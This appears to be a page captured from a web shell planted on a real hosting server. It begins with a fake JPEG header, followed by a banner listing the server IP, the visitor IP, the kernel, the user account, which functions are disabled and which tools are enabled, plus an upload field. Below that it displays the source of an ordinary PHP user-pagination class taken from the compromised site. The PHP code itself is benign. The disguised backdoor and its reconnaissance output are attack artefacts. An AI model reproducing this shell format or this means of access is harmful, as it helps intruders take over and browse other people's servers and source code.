����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/1630575/root/proc/1630575/root/home/builderbox/././www/common/Auth/Actions/ |
Upload File : |
<?php
namespace Common\Auth\Actions;
use App\User;
use Arr;
use Common\Database\Datasource\MysqlDataSource;
use Illuminate\Database\Eloquent\Builder;
class PaginateUsers
{
/**
* @var User
*/
private $user;
public function __construct(User $user)
{
$this->user = $user;
}
public function execute($params): array
{
$query = $this->user->newQuery()->with(['roles', 'permissions']);
if ($roleId = Arr::get($params, 'role_id')) {
// TODO: refactor this so can reuse elsewhere maybe
$relation = $query->getModel()->roles();
$query
->leftJoin(
$relation->getTable(),
$relation->getQualifiedParentKeyName(),
'=',
$relation->getQualifiedForeignPivotKeyName(),
)
->where(
$relation->getQualifiedRelatedPivotKeyName(),
'=',
$roleId,
);
$query->select(['users.*', 'user_role.created_at as created_at']);
}
if ($roleName = Arr::get($params, 'role_name')) {
$query->whereHas('roles', function (Builder $q) use ($roleName) {
$q->where('roles.name', $roleName);
});
}
if ($permission = Arr::get($params, 'permission')) {
$query
->whereHas('permissions', function (Builder $query) use (
$permission
) {
$query
->where('name', $permission)
->orWhere('name', 'admin');
})
->orWhereHas('roles', function (Builder $query) use (
$permission
) {
$query->whereHas('permissions', function (
Builder $query
) use ($permission) {
$query
->where('name', $permission)
->orWhere('name', 'admin');
});
});
}
return (new MysqlDataSource($query, $params))->paginate()->toArray();
}
}